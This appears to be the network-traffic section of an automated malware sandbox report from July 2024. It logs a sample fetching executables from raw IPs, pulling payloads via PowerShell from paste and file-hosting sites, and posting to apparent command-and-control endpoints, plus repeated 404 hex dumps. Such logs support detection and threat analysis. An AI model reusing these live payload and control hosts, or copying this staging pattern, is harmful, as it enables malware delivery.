Source: global traffic HTTP traffic detected: GET /build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 109.172.114.212
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uhrlndgkepvaqel.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: mzxn.ru
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jpegpuimxnr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: mzxn.ru
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50782 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 77.221.157.163
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: unknown TCP traffic detected without corresponding DNS query: 64.190.113.113
Source: global traffic HTTP traffic detected: GET /wp-content/images/pic1.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mussangroup.com
Source: global traffic HTTP traffic detected: GET /setups.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: funrecipebooks.com
Source: global traffic HTTP traffic detected: GET /microgods/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-CH) WindowsPowerShell/5.1.19041.1682Host: rentry.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.ioConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.io
Source: global traffic HTTP traffic detected: GET /systemd.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 77.221.157.163
Source: global traffic HTTP traffic detected: GET /win.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 64.190.113.113
Source: global traffic HTTP traffic detected: GET /build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 109.172.114.212
Source: global traffic DNS traffic detected: DNS query: mzxn.ru
Source: global traffic DNS traffic detected: DNS query: mussangroup.com
Source: global traffic DNS traffic detected: DNS query: funrecipebooks.com
Source: global traffic DNS traffic detected: DNS query: callosallsaospz.shop
Source: global traffic DNS traffic detected: DNS query: rentry.co
Source: global traffic DNS traffic detected: DNS query: store4.gofile.io
Source: global traffic DNS traffic detected: DNS query: liernessfornicsa.shop
Source: unknown HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 8179
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 86 ec Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:29 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2e 5c 24 14 a6 69 44 aa ad 10 bd cf b4 f9 6d 87 37 c6 ec 26 57 11 c2 8f 97 cb Data Ascii: #\.\$iDm7&W
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2e 5c 24 14 a6 69 44 aa ad 10 bd cf b4 f9 6d 87 37 c6 ec 26 57 11 c2 8f 97 cb Data Ascii: #\.\$iDm7&W
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:53:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2f 5f 24 17 ad 68 44 aa a9 14 bd cf b3 f9 6d 83 27 db b6 26 42 10 Data Ascii: #\/_$hDm'&B
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sat, 27 Jul 2024 06:54:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
